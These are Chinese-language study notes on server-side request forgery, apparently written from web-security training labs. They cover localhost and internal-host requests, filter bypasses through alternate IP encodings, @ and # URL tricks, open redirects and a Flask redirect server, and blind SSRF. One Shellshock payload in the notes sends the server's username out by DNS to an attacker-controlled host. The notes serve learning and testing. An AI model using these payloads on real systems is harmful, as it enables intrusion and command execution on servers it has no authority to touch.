SSRF漏洞学习笔记

什么是SSRF（服务器端请求伪造）漏洞

服务器端请求伪造是一种网络安全漏洞，允许攻击者导致服务器端应用程序向非预期位置发出请求。
一些服务只允许在内部的服务器之间访问，SSRF漏洞就是让服务器访问外部的资源，从而导致敏感信息泄漏、命令执行等问题

常见的SSRF攻击

SSRF 攻击通常利用信任关系来升级易受攻击的应用程序的攻击并执行未经授权的操作。这些信任关系可能与服务器有关，也可能与同一组织内的其他后端系统有关。

针对服务器的SSRF攻击

在针对服务器的 SSRF 攻击中，攻击者会让应用程序通过其环回网络接口（比如127.0.0.1或者localhost）向托管该应用程序的服务器发出 HTTP 请求。

例如，假设有一个购物应用程序，它允许用户查看某个商店中某件商品是否有货。为了提供库存信息，该应用程序必须查询各种后端 REST API。它通过前端 HTTP 请求将 URL 传递到相关的后端 API 端点来实现这一点。当用户查看某件商品的库存状态时，他们的浏览器会发出以下请求：

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

这会导致服务器向指定的 URL 发出请求，检索库存状态，并将其返回给用户。
如果攻击者可以指定访问的URL 如

stockApi=http://localhost/admin

那服务器就会获取/admin的内容返回给用户
但管理功能通常只有经过身份验证的用户才能访问。这意味着攻击者不会看到任何有趣的东西但是，如果对 /admin URL 的请求来自本地计算机，则正常的访问控制将被绕过。

比如这里访问商品库存的时候有一个stockApi，我们可以前去访问localhost/admin，找到一个删除用户的选项，但是一般有管理员身份验证，无法删除，但是这里是get请求，用url访问的，所以可以记下这的url然后再利用localhost来伪造这个请求，就可以绕过检测

针对其他后端系统的 SSRF 攻击

在某些情况下，应用服务器能够与用户无法直接访问的后端系统进行交互。这些系统通常具有不可路由的私有 IP 地址。后端系统通常受网络拓扑保护，因此它们的安全状况通常较弱。在许多情况下，内部后端系统包含敏感功能，任何能够与系统交互的人都可以在未经身份验证的情况下访问这些功能。

绕过SSRF常见的防御

具有基于黑名单的输入过滤器的 SSRF

某些应用程序会阻止包含主机名（如 127.0.0.1 和 localhost 或敏感 URL（如 /admin 的输入。可以用以下几种过滤方法

使用 127.0.0.1 的替代 IP 表示形式，例如 2130706433 或 127.1 017700000001 （不同的进制）

(127 × 256³) + (0 × 256²) + (0 × 256¹) + (1 × 256⁰)
= 2130706433

注册自己的域名，解析成127.0.0.1
使用 URL 编码或大小写变体来混淆被阻止的字符串。
提供控制的 URL，该 URL 会重定向到目标 URL。尝试对目标 URL 使用不同的重定向代码以及不同的协议。例如，在重定向期间从 http: 切换到 https: URL 已被证明可以绕过一些反 SSRF 过滤器。

from flask import Flask, redirect, request

app = Flask(__name__)

@app.route('/redirect')
def ssrf_redirect():
    target = request.args.get('url', 'http://127.0.0.1')
    return redirect(target, code=302)  # 可以换成 301, 307, 308

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)  # 允许局域网访问

在这个例子中，网站过滤了127.0.0.1，用上面的进制转换可以绕过，然后发现/admin也被过滤，可以用双重url编码绕过

具有基于白名单的输入过滤器的 SSRF

某些应用程序仅允许匹配允许值白名单的输入。过滤器可能会在输入的开头或输入中包含的内容中查找匹配项

可以使用@字符将凭据嵌入到主机名前的 URL 中。（在 URL 里，@ 主要用于指定用户名和密码）例如：

https://expected-host:fakepassword@evil-host

服务器可能解析 @ 之前的作为主机

可以使用#字符来表示 URL 片段。（#后的片段仅用于浏览器端解析，不会被发送到服务器。）例如：

https://evil-host#expected-host

可以利用 DNS 命名层次结构将所需的输入放入控制的完全限定 DNS 名称中。例如

https://expected-host.evil-host

可以对字符进行 URL 编码，以混淆 URL 解析代码。如果实现过滤器的代码处理 URL 编码字符的方式与执行后端 HTTP 请求的代码不同，则这种方法特别有用。还可以尝试对字符进行双重编码；某些服务器会以递归方式对收到的输入进行 URL 解码，这可能会导致进一步的差异。
可以将这些技术组合使用
举例
如果直接访问127.1会出现External stock check host must be stock.weliketoshop.net
说明是一个白名单过滤，域名中必须出现stock.weliketoshop.net
尝试使用http://username@stock.weliketoshop.net发现是可以用这种嵌入式凭据的
现在再尝试在username后面加上#,拒绝访问，就用两次url编码#

通过开放重定向绕过 SSRF 过滤器

假设用户提交的 URL 经过严格验证，以防止恶意利用 SSRF 行为。但是，允许其 URL 的应用程序包含一个开放的重定向漏洞。假设用于发出后端 HTTP 请求的 API 支持重定向，可以构造一个满足过滤器的 URL，并导致将请求重定向到所需的后端目标。
例如，应用程序包含一个开放重定向漏洞，其中以下 URL：

/product/nextProduct?currentProductId=6&path=http://evil-user.net

返回重定向到：

http://evil-user.net

此 SSRF 漏洞之所以有效，是因为应用程序首先验证提供的 stockAPI URL 是否位于允许的域中，事实确实如此。然后，应用程序请求提供的 URL，从而触发开放重定向。它遵循重定向，并向攻击者选择的内部 URL 发出请求。
示例：
比如在这个商品界面，在查询库存的界面发现无法直接访问localhost，在这里找到一个有重定向的界面，这里的下一个商品

通过抓包可以发现这里访问的路径是/product/nextProduct?currentProductId=1&path=/product?productId=2
现在再回到查看商品储存的界面，然后把stockApi改成刚才的重定向路径，把path改成我们想要的

盲SSRF

当应用程序被诱导向提供的 URL 发出后端 HTTP 请求，但是后端请求的响应未在应用程序的前端响应中返回时，就会出现盲 SSRF 漏洞。由于盲目 SSRF 漏洞具有单向性，其影响通常低于完全知情的 SSRF 漏洞。它们不能被轻易利用来从后端系统检索敏感数据，尽管在某些情况下它们可以被利用来实现完全远程代码执行。

检测盲 SSRF 漏洞最可靠的方法是使用带外 (OAST) 技术。这涉及尝试触发对控制的外部系统的 HTTP 请求，并监控与该系统的网络交互。实际上就是访问我们的服务器，然后从log中可以看到访问痕迹
可以使用burpsuite的Burp Collaborator

比如这里就是修改Referer成Collaborator中的url，然后就可以在访问记录中看到
服务器向攻击者控制的 URL 发送请求，但攻击者看不到 HTTP 响应。攻击者无法直接探测出请求是否成功，或者返回了什么数据。但盲 SSRF 仍然可以用于攻击！
攻击者可以利用它来探测服务器或内部网络中的其他漏洞，例如：
端口扫描：探测服务器是否可以访问某些内部 IP 及其端口。
漏洞扫描：发送针对已知漏洞的恶意 Payload，看看是否有回响（如 Log4j）。
RCE（远程代码执行）：如果目标服务器上有易受攻击的服务，攻击者可以利用 SSRF 进行攻击。
示例

这里前面通过bp的扫描发现user-agent和referer有漏洞，然后在useragent这里植入shellshock漏洞代码
shellshock漏洞:，Bash 在解析环境变量时存在漏洞，如果环境变量的值以 () 开头并带有 额外的命令，Bash 会在解析时执行这些命令，即使它们不在函数体内。

(){ :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

把这里的BURP-COLLABORATOR-SUBDOMAIN替换成collaborater的url，然后referer替换成想要执行盲ssrf的地址，最后把地址中的http://192.168.0.1:8080 ，然后突出显示 IP 地址的最后一个八位字节（数字 1 ），单击添加 §。开始攻击，没有确定在哪个ip
最后操作系统用户的名称应出现在 DNS 子域中。

寻找 SSRF 漏洞的隐藏攻击面

许多服务器端请求伪造漏洞很容易找到，因为应用程序的正常流量涉及包含完整 URL 的请求参数。其他 SSRF 示例更难找到。

请求中的部分 URL

有时，应用程序只会将主机名或 URL 路径的一部分放入请求参数中。提交的值随后会在服务器端合并到请求的完整 URL 中。如果该值很容易被识别为主机名或 URL 路径，则潜在的攻击面可能很明显。但是，由于无法控制请求的整个 URL，因此完整 SSRF 的可利用性可能会受到限制。

数据格式中的 URL

某些应用程序以某种格式传输数据，这种格式的规范允许包含数据解析器可能请求的 URL。一个明显的例子是 XML 数据格式，它已广泛用于 Web 应用程序中，用于将结构化数据从客户端传输到服务器。当应用程序接受 XML 格式的数据并对其进行解析时，它可能容易受到 XXE 注入的攻击。它也可能容易通过 XXE 受到 SSRF 的攻击。

通过 Referer 头发起 SSRF

一些应用程序使用服务器端分析软件来跟踪访问者。该软件通常会在请求中记录 Referer 标头，以便跟踪传入链接。分析软件通常会访问 Referer 标头中出现的任何第三方 URL。这通常是为了分析引荐网站的内容，包括传入链接中使用的锚文本。因此，Referer 标头通常是 SSRF 漏洞的有用攻击面。
刚才的盲ssrf中就很多利用到了Referer 还有user-agent